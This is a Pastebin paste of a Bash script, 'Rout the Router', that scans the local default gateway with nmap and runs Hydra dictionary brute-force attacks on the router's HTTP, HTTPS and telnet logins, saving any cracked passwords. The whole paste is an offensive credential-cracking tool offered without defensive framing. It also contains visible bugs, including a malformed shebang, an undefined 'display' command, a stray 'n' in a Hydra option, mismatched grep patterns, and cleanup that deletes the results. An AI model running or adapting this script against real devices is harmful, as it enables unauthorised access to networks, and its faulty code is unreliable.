Advertisement
Guest User

Untitled

a guest
Aug 5th, 2017
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.00 KB | None | 0 0
  1. #/bin/bash
  2.     version="0.1"
  3.   passwords=/root/passwords.lst           # Where to store found passwords
  4.    username=/root/Hydra/user.lst          # User list path
  5.    dictpath=/root/Hydra/pass.lst          # Password list path
  6.       tasks=15                            # Hydra tasks
  7.     logfile=/tmp/hydra/logfile.lst        # Will be adding to this for verbosity
  8. scanresults=/tmp/hydra/scanresults.lst    # Temp nmap scan output
  9.        temp=/tmp/hydra                    # Temp folder
  10.  
  11. #-- Nothing to change below this line ---------------------------------------------------------------
  12.  
  13. #__ Check if Root __________________________________________________________
  14. if [ "$(id -u)" != "0" ] ; then echo "You must be root to use Rout the Router" ; exit 1 ; fi
  15.  
  16. #-- Checking if programs are installed --------------------------------------------------------------
  17. if [ ! -e "/usr/bin/nmap" ] ; then
  18.    echo "Nmap is not installed."
  19.    read -p ">> Would you like to try and install it? [Y/n]: " -n 1
  20.    if [[ "$REPLY" =~ ^[Yy]$ ]] ; then apt-get -y install nmap ; fi
  21.    if [ ! -e "/usr/share/nmap/nmap-services" ] ; then
  22.       echo "Failed to install Nmap"
  23.    else
  24.       display info "Installed: Nmap"
  25.    fi
  26. fi
  27. if [ ! -e "/usr/bin/hydra" ] ; then
  28.    echo "Hydra is not installed."
  29.    read -p ">> Would you like to try and install it? [Y/n]: " -n 1
  30.    if [[ "$REPLY" =~ ^[Yy]$ ]] ; then apt-get -y install hydra ; fi
  31.    if [ ! -e "/usr/bin/hydra" ] ; then
  32.       echo "Failed to install Hydra"
  33.    else
  34.       display info "Installed: Hydra"
  35.    fi
  36. fi
  37. echo "Nmap and Hydra are installed"
  38.  
  39. #-- Verifying ---------------------------------------------------------------------------------------
  40. if [ ! -e "$username" ] ; then
  41. echo "Username path not specified" ;
  42. exit 1
  43. fi
  44. if [ ! -e "$dictpath" ] ; then
  45. echo "Dictionary path not specified" ;
  46. exit 1
  47. fi
  48. if [ ! -d $temp ] ; then mkdir /tmp/hydra/ 2>/dev/null ; fi
  49.  
  50. IP=$(ip route | grep default | awk '{ print $3}')            # Gives us The Gateway IP address
  51. http=""
  52. https=""
  53. echo "<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>"
  54. echo "Finding Alive Hosts and Scanning them"
  55. echo "<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>"
  56. nmap -p 23,80,443 -oG $temp/scanresults.lst $IP | grep "MAC" >> $temp/routerinfo.lst  # Nmap scan
  57. http=$(grep '80/open' $scanresults | awk '{ print $2}')
  58. if [ "$http" == "$IP" ] ; then http="true" ; fi
  59. https=$(grep '443/open' $scanresults | awk '{ print $2}')
  60. if [ "$https" == "$IP" ] && [ "$http" != "true" ] ; then https="true" ; fi # We don't want to attack 443 if we can get 80
  61. telnet=$(grep '23/open' $scanresults | awk '{ print $2}')
  62. if [ "$telnet" == "$IP" ] ; then telnet="true" ; fi
  63. # -- Brand customization -----------------------------------------------------------------
  64. brand=$(awk '{ print $4 }' $temp/routerinfo.lst)
  65. if [ $brand == "(Cisco-Linksys)" ] ; then
  66.    echo "admin
  67. user" > $temp/linksys.lst
  68.    username="$temp/linksys.lst"
  69. fi
  70.  
  71. if [ $http == "true" ] ; then
  72.    echo "<<<<<<<<<>>>>>>>>>>>"
  73.    echo "Attacking on Port 80"
  74.    echo "<<<<<<<<<>>>>>>>>>>>"
  75.    hydra -L $username -P $dictpath -e n -e s -t  n$tasks -f -w 15 -v $IP http-get / -o $temp/http.lst
  76.    cat $temp/http.lst | grep "passwords:" >> $passwords
  77.    pass=$(grep "password:" $passwords | awk '{ print $4}') >/dev/null
  78.    if [ "$pass" == "" ] ; then https="true" ; fi
  79. fi
  80. if [ $https == "true" ] ; then
  81.    echo "<<<<<<<<<<>>>>>>>>>>>"
  82.    echo "Attacking on Port 443"
  83.    echo "<<<<<<<<<<>>>>>>>>>>>"
  84.    hydra -L $username -P $dictpath -S -e n -e s -t $tasks -f -w 15 -v $IP https-get / -o $temp/https.lst
  85.    cat $temp/https.lst | grep "passwords:" >> $passwords
  86. fi
  87. if [ "$telnet" == "true" ] ; then
  88.    echo "<<<<<<<<<<>>>>>>>>>>"
  89.    echo "Attacking on Port 23"
  90.    echo "<<<<<<<<<<>>>>>>>>>>"
  91.    hydra -L $username -P $dictpath -e n -e s -t $tasks -f -w 15 -v $IP telnet / -o $temp/telnet.lst
  92.    cat $temp/telnet.lst | grep "passwords:" >> $passwords
  93. fi
  94. # Cleanup
  95. clear
  96. echo date >> $passwords
  97. cat $passwords
  98. rm -rf /$temp/routerinfo.lst
  99. rm -rf $scanresults
  100. rm -rf $temp/http.lst
  101. rm -rf $temp/https.lst
  102. rm -rf $passwords       # Remove this for release version
  103. exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement